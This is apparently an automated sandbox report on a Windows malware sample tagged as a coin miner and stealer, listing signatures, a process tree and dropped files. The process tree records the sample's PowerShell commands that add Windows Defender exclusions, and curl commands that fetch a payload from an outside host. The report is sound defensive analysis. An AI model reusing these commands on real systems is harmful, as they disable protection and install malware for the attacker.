Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:17

General

  • Target
    2026-08-04_143386c5cc47dfda714303903629fd3a_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
  • Size 3.7MB
  • Sample260804-j66g2afh89
  • SHA256 265633362298f8fbda8fa1504677ef0919dd49036015ae95b147faab7a84af2a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_143386c5cc47dfda714303903629fd3a_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-04_143386c5cc47dfda714303903629fd3a_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4908
    • C:\Users\Admin\AppData\Local\Temp\.vaultd-2973140148
      C:\Users\Admin\AppData\Local\Temp\.vaultd-2973140148
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1048
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5800
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4520
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1180
      • C:\Windows\system32\curl.exe
        curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
        3⤵
          PID:5076
        • C:\Windows\system32\curl.exe
          curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:8080/win.txt
          3⤵
            PID:4700
          • C:\Windows\system32\curl.exe
            curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp https://v1.evoqiyuan.xyz:443/win.txt
            3⤵
              PID:4744
            • C:\Windows\system32\curl.exe
              curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
              3⤵
                PID:3140
              • C:\Windows\system32\curl.exe
                curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:8080/win.txt
                3⤵
                  PID:2028
                • C:\Windows\system32\curl.exe
                  curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp https://v1.evoqiyuan.xyz:443/win.txt
                  3⤵
                    PID:664
                  • C:\Windows\system32\curl.exe
                    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
                    3⤵
                      PID:3388

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

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                      Downloads

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 120f661670b9c9bcef6fa45b38c693ea6166a266146df31d722eb6ed8a06b221
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 c7b6604ff5990e616d846a778a556a5efde1ee36f30514268effc2484ad84ebc
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 97ba58fb672945fef373e8c7f4d701a85941bf54d4f1d9acba1aa92550bd75c5
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 c3eca1ec6f65452a3a8c3b797f54095da9dd00543cf6f3838b583d961f906869
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 830aefc5b1c7717a5829a916b7268d29e846fcc05374208412b34fdeabc08bda
                      • MD5 SHA1 SHA512 TLSH

                      .vaultd-2973140148

                      • Path C:\Users\Admin\AppData\Local\Temp\.vaultd-2973140148
                      • Size 4.6MB
                      • SHA256 c95678fdee6f14bd97849979b3f6082d759fbfb238c971eb5396f5fb4aeef1fc
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      __PSScriptPolicyTest_agr4gffo.nmt.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_agr4gffo.nmt.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      memory/260-41-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/260-30-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/260-34-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/260-33-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/260-32-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/260-31-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-19-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-20-0x00000271A5AB0000-0x00000271A5ABA000-memory.dmp

                      memory/4924-27-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-29-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-25-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-24-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-23-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-22-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-21-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-26-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-17-0x00000271A59D0000-0x00000271A59EE000-memory.dmp

                      memory/4924-18-0x00000271A59F0000-0x00000271A5AA2000-memory.dmp

                      memory/4924-14-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-13-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-12-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-10-0x00000271A5940000-0x00000271A5962000-memory.dmp

                      memory/4924-11-0x00007FFC1C4F0000-0x00007FFC1CE94000-memory.dmp

                      memory/4924-7-0x00007FFC1C67F000-0x00007FFC1C680000-memory.dmp